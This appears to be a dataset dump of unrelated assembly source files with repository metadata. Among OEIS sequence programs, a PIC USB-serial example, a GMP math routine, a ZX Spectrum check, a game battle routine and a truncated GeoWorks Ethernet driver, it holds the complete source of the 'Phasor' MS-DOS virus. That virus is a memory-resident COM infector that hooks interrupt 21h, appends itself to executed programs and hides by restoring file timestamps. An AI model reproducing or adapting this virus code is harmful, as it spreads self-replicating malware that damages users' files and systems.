00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 43.496
| 2,999
| 0.660107
|
57beddbcc2010d8c0a6a6c87bf12eb749f933d82
| 1,759
|
asm
|
Assembly
|
programs/oeis/197/A197649.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/197/A197649.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/197/A197649.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A197649: Sum(k*Fibonacci(2*k), k=0..n), Fibonacci(n)=A000045(n)
; 0,1,7,31,115,390,1254,3893,11789,35045,102695,297516,853932,2432041,6881395,19361995,54214939,151164018,419910354,1162585565,3209268665,8835468881,24266461007,66501634776,181882282200,496539007825,1353272290399,3682496714743,10006336858819,27153652025310,73593914702910,199228840377221,538755555824357,1455425926988861,3928023575425655,10591760750245380,28536105177898884,76819978340259193,206645254010714059,555476632638581155,1492145766577288555,4005683186163363786,10746710226450781482,28815144277732837421,77219006525841322385,206822030272528047785,553667265290859983519,1481460153624666472368,3962134178657865979824,10591924943548496536225,28303167352511592289975,75599174654358621247951,201849622531157325535507,538733893160520176689206,1437349391694030614442390,3833522085931047075038165,10220842943383909425962429,27241677172065602240319893,72584573779062861592119239,193340529356027954389933020,514842084655485952842243420,1370572450518919786076592841,3647630374260278099942358307,9705197268430438715475156091,25815842112177605957102308795,68653092515373558685964692770,182527845094610040780571338114,485172908303186296164955104893,1289333866758471074562131757929,3425615187268063875555747729665,9099528193989709169360196332015,24166232396237192536255788408456,64166941500386266533344925418632,170344646620378672441861310281201,452129389401456548832548216200975,1199820640190654302798628648215975,3183401495949789547751564447353699,8444813623389900576277899540671118,22398259736634187700359411996230894,59397196898024302846810335065909285,157487804529559366286824311233588885,417502406095504092031910754113245421
lpb $0
add $2,$1
add $2,$0
sub $0,1
add $1,$2
lpe
mov $0,$1
| 159.909091
| 1,623
| 0.918135
|
bf617d2f6952337f5ba9f4bdfdb2cc7bea5bc41e
| 10,542
|
asm
|
Assembly
|
MSDOS/Virus.MSDOS.Unknown.phasor10.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:13.000Z
|
2022-03-16T09:11:05.000Z
|
MSDOS/Virus.MSDOS.Unknown.phasor10.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | null | null | null |
MSDOS/Virus.MSDOS.Unknown.phasor10.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:15.000Z
|
2022-01-08T20:51:04.000Z
|
;
; [Phasor] v1.0
; Written by Memory Lapse of Phalcon/Skism
;
; This is a simple memory resident, COM infector. It hides in the unused
; portion of the interrupt table starting at 0:1E0h.
;
; To Assemble:
; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T
;
.model tiny ;
.code ;
.286 ;
org 100h ;
;
start: ;Mark Start of Code
v_start: ;Mark Start of Virus
mov bp,0000h ;Self Modifying Delta
delta equ $-002h ; Offset.
;
xor di,di ;Load Register w/Zero
mov es,di ;ES = 000h
;
mov di,01E0h ;DI = 1E0h
;
cmp byte ptr es:[di],0BDh ;Virus Present?
jz restoreCOMbytes ;(0BDh = MOV BP,XXXX)
;
push cs ;Save CS onto Stack
pop ds ;Restore DS (CS=DS)
;
mov cx,(heap_end-v_start)/002h ;CX = # of Words To Copy
lea si,[bp+100h] ;SI = Start of Virus
rep movsw ;Copy Virus To Int Table
;
mov ax,offset i021h+0E0h ;AX = Handler + Offset
;
xchg ax,word ptr es:[084h] ;Modify Interrupt Table
mov word ptr es:[i021hOffset+0E0h],ax ; To Point To Virus's
; Interrupt 021h
mov ax,es ; Handler.
;
xchg ax,word ptr es:[086h] ;
mov word ptr es:[i021hSegment+0E0h],ax ;
;
restoreCOMbytes: ;
push cs cs ;Equal Out Segment
pop ds es ; Registers.
;
lea si,[bp+host_bytes] ;SI = Host's Bytes
mov di,100h ;DI = Start of Host
push di ;Save DI onto Stack
mov byte ptr [di],0C3h ;Write RET to Host
call di ;Call 100h (RET)
;
movsb ;Byte @ DS:[SI]=>ES:[DI]
movsw ;Word @ DS:[SI]=>ES:[DI]
;
retn ;Return to Host Program.
;
host_bytes db 0CDh,020h,000h ;Buffer For Starting of
; Host Program.
infect: xor bp,bp ;Load Register w/Zero
;
mov ax,3D00h ;AX = 3D00h
int 021h ;Open File in R/O Mode.
;
xchg ax,bx ;
;
push bx cs cs ;Save Handle, Equal Out
pop ds es ; Segment Registers.
;
mov ax,1220h ;AX = 1220h
int 02Fh ;Get JFT.
;
mov ax,1216h ;AX = 1216h
mov bl,byte ptr es:[di] ;BL = Location of SFT
int 02Fh ;Get SFT.
;
pop bx ;Restore File Handle
;
mov word ptr es:[di+002h],002h ;Open File For Read And
; Write Mode.
mov ah,03Fh ;AH = 3Fh
mov cx,003h ;CX = # of Bytes To Read
mov dx,offset host_bytes+0E0h ;DX = Buffer + Offset
int 021h ;Read 003h Bytes To Bufr
;
mov si,dx ;SI = DX
;
cmp word ptr [si+000h],5A4Dh ;EXE File?
jz closeCOMfile ;Exit Virus
;
cmp word ptr [si+000h],4D5Ah ;EXE File?
jz closeCOMfile ;Exit Virus
;
push cx ;Save CX onto Stack.
;
mov ax,4202h ;AX = 4202h
xor cx,cx ;Load Register w/Zero
cwd ;Load Register w/Zero
int 021h ;Move File Pointer @ EOF
;
pop cx ;Restore CX.
;
mov word ptr [delta+0E0h],ax ;Write Delta Offset
;
sub ax,cx ;Subtract 3h from Size.
mov byte ptr [temp_buffer+0E0h+000h],0E9h ;Write Jump to Buffer
mov word ptr [temp_buffer+0E0h+001h],ax ;Write Location to Buffr
;
sub ax,(v_end-v_start) ;Subtract Virus Length
;
cmp word ptr [si+001h],ax ;Is File Infected?
jz closeCOMfile ;Jump if Infected.
;
mov ah,040h ;AH = 40h
mov cx,(v_end-v_start) ;CX = # of Bytes to Wrte
mov dx,01E0h ;DX = Data to Write
int 021h ;Write To File.
;
mov word ptr es:[di+015h],bp ;Move File Pointer To
mov word ptr es:[di+017h],bp ;Start of File.
;
mov ah,040h ;AH = 40h
mov cx,003h ;CX = # of Bytes to Wrte
mov dx,offset temp_buffer+0E0h ;DX = Data to Write
int 021h ;Write To File.
;
mov ax,5701h ;AX = 5701h
mov cx,word ptr es:[di+00Dh] ;CX = Time Stamp
mov dx,word ptr es:[di+00Fh] ;DX = Date Stamp
int 021h ;Set Time.
;
closeCOMfile: ;
mov ah,03Eh ;AH = 3Eh
int 021h ;Close File.
;
jmp exit ;Unconditional Jump
;
db "[ML/PS]" ;
;
i021h: pusha ;Preserve All Regs.
push ds es ;Save Segment Registers.
;
sub ax,4B00h ;Executing A File?
jnz exit ;Jump If Not 4B00h.
;
jmp infect ;Unconditional Jump.
exit: pop es ds ;Restore Segment Regs.
popa ;Restore All Registers.
;
int21h: db 0EAh ;JMP SSSS:OOOOO
;
v_end: ;End of Virus
heap_start: ;Start of Heap
;
i021hOffset dw 001h dup (?) ;Buffer for Offset
i021hSegment dw 001h dup (?) ;Buffer for Segment
temp_buffer db 003h dup (?) ;Buffer for Calculations
;
heap_end: ;End of Heap
;
end start ;End of Source
| 63.125749
| 78
| 0.255929
|
396f614bfb48455f2cbc37363068bf2d7c21a0ae
| 2,928
|
asm
|
Assembly
|
PIC/mikroC/Projects/PIC18F4550/Serial2USB.asm
|
UdayanSinha/Code_Blocks
|
43c010dcfb587942b6e6f8ba72b93862042afa1d
|
[
"MIT"
] | 3
|
2016-10-30T05:54:44.000Z
|
2021-05-17T20:24:42.000Z
|
PIC/mikroC/Projects/PIC18F4550/Serial2USB.asm
|
UdayanSinha/Code_Blocks
|
43c010dcfb587942b6e6f8ba72b93862042afa1d
|
[
"MIT"
] | null | null | null |
PIC/mikroC/Projects/PIC18F4550/Serial2USB.asm
|
UdayanSinha/Code_Blocks
|
43c010dcfb587942b6e6f8ba72b93862042afa1d
|
[
"MIT"
] | 1
|
2018-10-04T08:20:25.000Z
|
2018-10-04T08:20:25.000Z
|
_interrupt:
;Serial2USB.c,17 :: void interrupt(){
;Serial2USB.c,18 :: USB_Interrupt_Proc(); // USB servicing is done inside the interrupt
CALL _USB_Interrupt_Proc+0, 0
;Serial2USB.c,19 :: }
L_end_interrupt:
L__interrupt6:
RETFIE 1
; end of _interrupt
_main:
;Serial2USB.c,21 :: void main(void)
;Serial2USB.c,23 :: ADCON1 |= 0x0F; // Configure all ports with analog function as digital
MOVLW 15
IORWF ADCON1+0, 1
;Serial2USB.c,24 :: CMCON |= 7; // Disable comparators
MOVLW 7
IORWF CMCON+0, 1
;Serial2USB.c,26 :: HID_Enable(&readbuff,&writebuff); // Enable HID communication
MOVLW _readbuff+0
MOVWF FARG_HID_Enable_readbuff+0
MOVLW hi_addr(_readbuff+0)
MOVWF FARG_HID_Enable_readbuff+1
MOVLW _writebuff+0
MOVWF FARG_HID_Enable_writebuff+0
MOVLW hi_addr(_writebuff+0)
MOVWF FARG_HID_Enable_writebuff+1
CALL _HID_Enable+0, 0
;Serial2USB.c,27 :: UART1_Init(9600); //setup UART for 9600bps comm
BSF BAUDCON+0, 3, 0
MOVLW 4
MOVWF SPBRGH+0
MOVLW 225
MOVWF SPBRG+0
BSF TXSTA+0, 2, 0
CALL _UART1_Init+0, 0
;Serial2USB.c,28 :: UART1_Write_Text("mikroC USB-2-Serial Converter TEST\n");
MOVLW ?lstr1_Serial2USB+0
MOVWF FARG_UART1_Write_Text_uart_text+0
MOVLW hi_addr(?lstr1_Serial2USB+0)
MOVWF FARG_UART1_Write_Text_uart_text+1
CALL _UART1_Write_Text+0, 0
;Serial2USB.c,30 :: while(1)
L_main0:
;Serial2USB.c,32 :: if(UART1_Data_Ready()) //wait for getting input data from UART
CALL _UART1_Data_Ready+0, 0
MOVF R0, 1
BTFSC STATUS+0, 2
GOTO L_main2
;Serial2USB.c,34 :: UART1_Read_Text(writebuff, "\n", 255); //read data
MOVLW _writebuff+0
MOVWF FARG_UART1_Read_Text_Output+0
MOVLW hi_addr(_writebuff+0)
MOVWF FARG_UART1_Read_Text_Output+1
MOVLW ?lstr2_Serial2USB+0
MOVWF FARG_UART1_Read_Text_Delimiter+0
MOVLW hi_addr(?lstr2_Serial2USB+0)
MOVWF FARG_UART1_Read_Text_Delimiter+1
MOVLW 255
MOVWF FARG_UART1_Read_Text_Attempts+0
CALL _UART1_Read_Text+0, 0
;Serial2USB.c,35 :: while(!HID_Write(&writebuff,64)); //send data over USB
L_main3:
MOVLW _writebuff+0
MOVWF FARG_HID_Write_writebuff+0
MOVLW hi_addr(_writebuff+0)
MOVWF FARG_HID_Write_writebuff+1
MOVLW 64
MOVWF FARG_HID_Write_len+0
CALL _HID_Write+0, 0
MOVF R0, 1
BTFSS STATUS+0, 2
GOTO L_main4
GOTO L_main3
L_main4:
;Serial2USB.c,36 :: }
L_main2:
;Serial2USB.c,37 :: }
GOTO L_main0
;Serial2USB.c,38 :: }
L_end_main:
GOTO $+0
; end of _main
| 33.655172
| 117
| 0.613388
|
e09e702c6f877c861b5122b7ea3bdbc5e6ff74fc
| 3,442
|
asm
|
Assembly
|
libtool/src/gmp-6.1.2/mpn/x86/mod_34lsub1.asm
|
kroggen/aergo
|
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
|
[
"MIT"
] | 1,602
|
2015-01-06T11:26:31.000Z
|
2022-03-30T06:17:21.000Z
|
libtool/src/gmp-6.1.2/mpn/x86/mod_34lsub1.asm
|
kroggen/aergo
|
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
|
[
"MIT"
] | 11,789
|
2015-01-05T04:50:15.000Z
|
2022-03-31T23:39:19.000Z
|
libtool/src/gmp-6.1.2/mpn/x86/mod_34lsub1.asm
|
kroggen/aergo
|
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
|
[
"MIT"
] | 498
|
2015-01-08T18:58:18.000Z
|
2022-03-20T15:37:45.000Z
|
dnl Generic x86 mpn_mod_34lsub1 -- mpn remainder modulo 2^24-1.
dnl Copyright 2000-2002, 2004 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C P5 3.0
C P6 3.66
C K6 3.0
C K7 1.3
C P4 9
C mp_limb_t mpn_mod_34lsub1 (mp_srcptr src, mp_size_t size)
C
defframe(PARAM_SIZE, 8)
defframe(PARAM_SRC, 4)
dnl re-use parameter space
define(SAVE_EBX, `PARAM_SRC')
TEXT
ALIGN(16)
PROLOGUE(mpn_mod_34lsub1)
deflit(`FRAME',0)
movl PARAM_SIZE, %ecx
movl PARAM_SRC, %edx
subl $2, %ecx
ja L(three_or_more)
movl (%edx), %eax
jb L(one)
movl 4(%edx), %ecx
movl %eax, %edx
shrl $24, %eax C src[0] low
andl $0xFFFFFF, %edx C src[0] high
addl %edx, %eax
movl %ecx, %edx
andl $0xFFFF, %ecx
shrl $16, %edx C src[1] high
addl %edx, %eax
shll $8, %ecx C src[1] low
addl %ecx, %eax
L(one):
ret
L(three_or_more):
C eax
C ebx
C ecx size-2
C edx src
C esi
C edi
C ebp
movl %ebx, SAVE_EBX C and arrange 16-byte loop alignment
xorl %ebx, %ebx
pushl %esi FRAME_pushl()
xorl %esi, %esi
pushl %edi FRAME_pushl()
xorl %eax, %eax C and clear carry flag
C offset 0x40 here
L(top):
C eax acc 0mod3
C ebx acc 1mod3
C ecx counter, limbs
C edx src
C esi acc 2mod3
C edi
C ebp
leal 12(%edx), %edx
leal -2(%ecx), %ecx
adcl -12(%edx), %eax
adcl -8(%edx), %ebx
adcl -4(%edx), %esi
decl %ecx
jg L(top)
C ecx is -2, -1 or 0 representing 0, 1 or 2 more limbs, respectively
movl $0xFFFFFFFF, %edi
incl %ecx
js L(combine)
adcl (%edx), %eax
movl $0xFFFFFF00, %edi
decl %ecx
js L(combine)
adcl 4(%edx), %ebx
movl $0xFFFF0000, %edi
L(combine):
C eax acc 0mod3
C ebx acc 1mod3
C ecx
C edx
C esi acc 2mod3
C edi mask
C ebp
sbbl %ecx, %ecx C carry
movl %eax, %edx C 0mod3
shrl $24, %eax C 0mod3 high
andl %edi, %ecx C carry masked
subl %ecx, %eax C apply carry
movl %ebx, %edi C 1mod3
shrl $16, %ebx C 1mod3 high
andl $0x00FFFFFF, %edx C 0mod3 low
addl %edx, %eax C apply 0mod3 low
andl $0xFFFF, %edi
shll $8, %edi C 1mod3 low
addl %ebx, %eax C apply 1mod3 high
addl %edi, %eax C apply 1mod3 low
movl %esi, %edx C 2mod3
shrl $8, %esi C 2mod3 high
andl $0xFF, %edx C 2mod3 low
shll $16, %edx C 2mod3 low
addl %esi, %eax C apply 2mod3 high
addl %edx, %eax C apply 2mod3 low
popl %edi FRAME_popl()
movl SAVE_EBX, %ebx
popl %esi FRAME_popl()
ret
EPILOGUE()
| 18.706522
| 79
| 0.682452
|
f454f79a078c47f9b2cf4c14b13b370a2e690af6
| 1,826
|
asm
|
Assembly
|
programs/oeis/083/A083686.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/083/A083686.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/083/A083686.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A083686: a(0) = 8; for n>0, a(n) = 2*a(n-1) - 1.
; 8,15,29,57,113,225,449,897,1793,3585,7169,14337,28673,57345,114689,229377,458753,917505,1835009,3670017,7340033,14680065,29360129,58720257,117440513,234881025,469762049,939524097,1879048193,3758096385,7516192769,15032385537,30064771073,60129542145,120259084289,240518168577,481036337153,962072674305,1924145348609,3848290697217,7696581394433,15393162788865,30786325577729,61572651155457,123145302310913,246290604621825,492581209243649,985162418487297,1970324836974593,3940649673949185,7881299347898369,15762598695796737,31525197391593473,63050394783186945,126100789566373889,252201579132747777,504403158265495553,1008806316530991105,2017612633061982209,4035225266123964417,8070450532247928833,16140901064495857665,32281802128991715329,64563604257983430657,129127208515966861313,258254417031933722625,516508834063867445249,1033017668127734890497,2066035336255469780993,4132070672510939561985,8264141345021879123969,16528282690043758247937,33056565380087516495873,66113130760175032991745,132226261520350065983489,264452523040700131966977,528905046081400263933953,1057810092162800527867905,2115620184325601055735809,4231240368651202111471617,8462480737302404222943233,16924961474604808445886465,33849922949209616891772929,67699845898419233783545857,135399691796838467567091713,270799383593676935134183425,541598767187353870268366849,1083197534374707740536733697,2166395068749415481073467393,4332790137498830962146934785,8665580274997661924293869569,17331160549995323848587739137,34662321099990647697175478273,69324642199981295394350956545,138649284399962590788701913089,277298568799925181577403826177,554597137599850363154807652353,1109194275199700726309615304705,2218388550399401452619230609409,4436777100798802905238461218817
mov $1,2
pow $1,$0
mul $1,7
add $1,1
mov $0,$1
| 202.888889
| 1,726
| 0.915663
|
a4bdc61ae9bc1cd78d443b4d2113d6ff2ebfca9b
| 504
|
asm
|
Assembly
|
libsrc/spectrum/diagnostic/zx_soundchip.asm
|
andydansby/z88dk-mk2
|
51c15f1387293809c496f5eaf7b196f8a0e9b66b
|
[
"ClArtistic"
] | 1
|
2020-09-15T08:35:49.000Z
|
2020-09-15T08:35:49.000Z
|
libsrc/spectrum/diagnostic/zx_soundchip.asm
|
andydansby/z88dk-MK2
|
51c15f1387293809c496f5eaf7b196f8a0e9b66b
|
[
"ClArtistic"
] | null | null | null |
libsrc/spectrum/diagnostic/zx_soundchip.asm
|
andydansby/z88dk-MK2
|
51c15f1387293809c496f5eaf7b196f8a0e9b66b
|
[
"ClArtistic"
] | null | null | null |
;
; ZX Spectrum specific routines
; by Stefano Bodrato, 14/09/2006
;
; int zx_soundchip();
;
; The result is:
; - 1 (true) if a sound chip is present
; - 0 (false) otherwise
;
; $Id: zx_soundchip.asm,v 1.1 2008/06/29 08:25:47 aralbrec Exp $
;
XLIB zx_soundchip
zx_soundchip:
ld hl,0
ld bc,$fffd
ld a,11 ; envelope register
out (c),a
in a,(c)
ld e,a
xor 170
ld b,$bf
out (c),a
ld b,$ff
ld d,a
in a,(c)
cp d
ld b,$bf
ld a,e
out (c),a ; restore original value
ret nz
inc hl
ret
| 12.6
| 64
| 0.626984
|
69a96ac8fd13c567740b0a70797b932a261d43d9
| 338
|
asm
|
Assembly
|
programs/oeis/089/A089799.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/089/A089799.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/089/A089799.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A089799: Expansion of Jacobi theta function theta_2(q^(1/2))/q^(1/8).
; 2,2,0,2,0,0,2,0,0,0,2,0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0
lpb $0
sub $2,1
add $0,$2
lpe
bin $1,$0
mul $1,2
mov $0,$1
| 30.727273
| 201
| 0.538462
|
e66bce443051e1304a9f4cb2b4c16f364c981d40
| 960
|
asm
|
Assembly
|
engine/battle/move_effects/protect.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
engine/battle/move_effects/protect.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
engine/battle/move_effects/protect.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
BattleCommand_Protect:
; protect
call ProtectChance
ret c
ld a, BATTLE_VARS_SUBSTATUS1
call GetBattleVarAddr
set SUBSTATUS_PROTECT, [hl]
call AnimateCurrentMove
ld hl, ProtectedItselfText
jp StdBattleTextbox
ProtectChance:
ld de, wPlayerProtectCount
ldh a, [hBattleTurn]
and a
jr z, .asm_37637
ld de, wEnemyProtectCount
.asm_37637
call CheckOpponentWentFirst
jr nz, .failed
; Can't have a substitute.
ld a, BATTLE_VARS_SUBSTATUS4
call GetBattleVar
bit SUBSTATUS_SUBSTITUTE, a
jr nz, .failed
; Halve the chance of a successful Protect for each consecutive use.
ld b, $ff
ld a, [de]
ld c, a
.loop
ld a, c
and a
jr z, .done
dec c
srl b
ld a, b
and a
jr nz, .loop
jr .failed
.done
.rand
call BattleRandom
and a
jr z, .rand
dec a
cp b
jr nc, .failed
; Another consecutive Protect use.
ld a, [de]
inc a
ld [de], a
and a
ret
.failed
xor a
ld [de], a
call AnimateFailedMove
call PrintButItFailed
scf
ret
| 12.631579
| 68
| 0.71875
|
64b759b0d91bd7231b9495dacdd940374d363976
| 9,109
|
asm
|
Assembly
|
Driver/Socket/EtherCom/ethercomProcess.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Driver/Socket/EtherCom/ethercomProcess.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Driver/Socket/EtherCom/ethercomProcess.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GlobalPC 1998. All rights reserved.
GLOBALPC CONFIDENTIAL
PROJECT: Native ethernet support
MODULE: Ethernet link driver
FILE: ethercomProcess.asm
AUTHOR: Allen Yuen, Oct 29, 1998
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 10/29/98 Initial revision
DESCRIPTION:
Code for EtherProcessClass.
$Id$
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EtherClassStructures segment resource
EtherProcessClass mask CLASSF_NEVER_SAVED
EtherClassStructures ends
MovableCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EPNotifyConnectConfirmed
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Notify the client that a connection requested has now been
established.
CALLED BY: MSG_EP_NOTIFY_CONNECT_CONFIRMED
PASS: ds = dgroup
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 10/29/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EPNotifyConnectConfirmed method dynamic EtherProcessClass,
MSG_EP_NOTIFY_CONNECT_CONFIRMED
.enter
mov di, SCO_CONNECT_CONFIRMED
mov ax, ETHER_CONNECTION_HANDLE
mov bx, ds:[clientDomainHandle]
Assert ne, bx, 0
SCOIndication
.leave
ret
EPNotifyConnectConfirmed endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EPSendPacket
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a packet.
CALLED BY: MSG_EP_SEND_PACKET
PASS: ds = dgroup
^ldx:bp = HugeLMem chunk of buffer to send
RETURN: nothing
DESTROYED: ax, cx
SIDE EFFECTS: Buffer either already freed or will be freed later.
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 11/07/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EPSendPacket method dynamic EtherProcessClass,
MSG_EP_SEND_PACKET
.enter
;
; Make sure link has been set up to our linking.
;
tst ds:[linkEstablished]
jz error
EthDevSendDXBP ; CF set on error, ax = SocketError
jc error
exit:
.leave
ret
error:
movdw axcx, dxbp ; ^lax:cx = buffer to send
call HugeLMemFree ; free the buffer
jmp exit
EPSendPacket endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EPSendPacketDone
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Frees the packet now that it has been sent completely.
CALLED BY: MSG_EP_SEND_PACKET_DONE
PASS: ^ldx:cx = HugeLMem chunk (locked) of packet to free
RETURN: nothing
DESTROYED: ax, cx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 11/06/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EPSendPacketDone method dynamic EtherProcessClass,
MSG_EP_SEND_PACKET_DONE
.enter
Assert optr, dxcx
mov bx, dx
call HugeLMemUnlock
mov_tr ax, bx ; ^lax:cx = packet
call HugeLMemFree
.leave
ret
EPSendPacketDone endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EPProcessIpPacket
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Process an incoming IP packet.
CALLED BY: MSG_EP_PROCESS_IP_PACKET
PASS: ds = dgroup
Other parameters depend on particular Ethernet driver
RETURN: nothing
